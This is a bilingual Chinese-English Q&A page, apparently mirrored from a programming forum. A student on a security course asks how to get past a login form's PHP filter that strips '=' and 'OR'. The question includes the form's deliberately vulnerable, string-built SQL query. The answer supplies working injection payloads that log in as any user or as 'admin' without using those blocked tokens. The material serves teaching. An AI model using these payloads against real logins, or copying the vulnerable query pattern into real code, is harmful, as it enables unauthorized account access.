带php过滤的SQL注入 [英] SQL injection with php filtering

问题描述

我必须插入一个登录表单以进行有关计算机安全课程的练习..... 我已经使用简单的

I have to inject a login form for exercise about a computer security course .... I have passed the first level using the simple

' like 1=1--

在密码字段中，但是现在在第二级中，我必须再次注入具有相同源代码的相同登录表单，除了用户和pwd由称为lvl2_filter()的函数所控制的事实外，我认为这是filter.php的一部分，不接受"="和"OR"

in the password field, but now in the second level i have to inject again the same login form with the same source code except for the fact that user and pwd are being controlled by a function called lvl2_filter() which i think is part of filters.php and do not accept "=" and "OR"

我该怎么做?

用户名和密码字段都不能为空

both username and password field cannot be empty

include_once 'filters.php';
include_once 'config.php';
?>

<?php
$user = lvl2_filter($_REQUEST['user']);
$pwd = lvl2_filter($_REQUEST['pwd']);
$token = $_COOKIE["token_sqli2"];

if (empty($token) || !check_token($token)){
echo "<h1>You need to be logged in!</h1><br>";
}

if (!empty($user) && !empty($pwd)) {
$query = "SELECT user_id FROM users WHERE username='$user' and password='$pwd'";
$result = mysqli_query($db,$query);
if ($result && mysqli_num_rows($result)>0) { 
  echo "Hi $user, you are logged in.";
  verify_user($token, $user);
}
else echo "sorry, invalid username or password"; 
}
else { ?>

推荐答案

假设 lvl2_filter 的定义，基本上删除了=和or的所有出现，直到不再找到为止，仍然应该可以使用

Assuming this definition of lvl2_filter, which basically removes any occurrence of = and or until no longer found, it should still be possible to use the logical OR operation with || instead of OR and a simple expression that evaluates to true like:

username: dummy
password: ' || '1

这将导致:

SELECT user_id FROM users WHERE username='dummy' and password='' || '1'

要选择特定用户，可以使用布尔代数规则，其中x=y = !(x!=y):

For selecting a specific user, one can use the rules of boolean algebra, where x=y = !(x!=y):

username: dummy
password: ' || NOT(username<>'admin') AND '1

这将导致:

SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'

此处<>等效于!=，但不包含=.

Here <> is equivalent to != but doesn’t contain a =.

还有其他一些操作可以确保 username 等于admin:

There are also other operations that one could use ensure username equals admin:

• username BETWEEN 'admin' AND 'admin'
• username LIKE 'admin'
• username IN ('admin')
• IF(STRCMP(username,'admin'), 0, 1)
• CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END
• …

• username BETWEEN 'admin' AND 'admin'
• username LIKE 'admin'
• username IN ('admin')
• IF(STRCMP(username,'admin'), 0, 1)
• CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END
• …

这篇关于带php过滤的SQL注入的文章就介绍到这了，希望我们推荐的答案对大家有所帮助，也希望大家多多支持IT屋！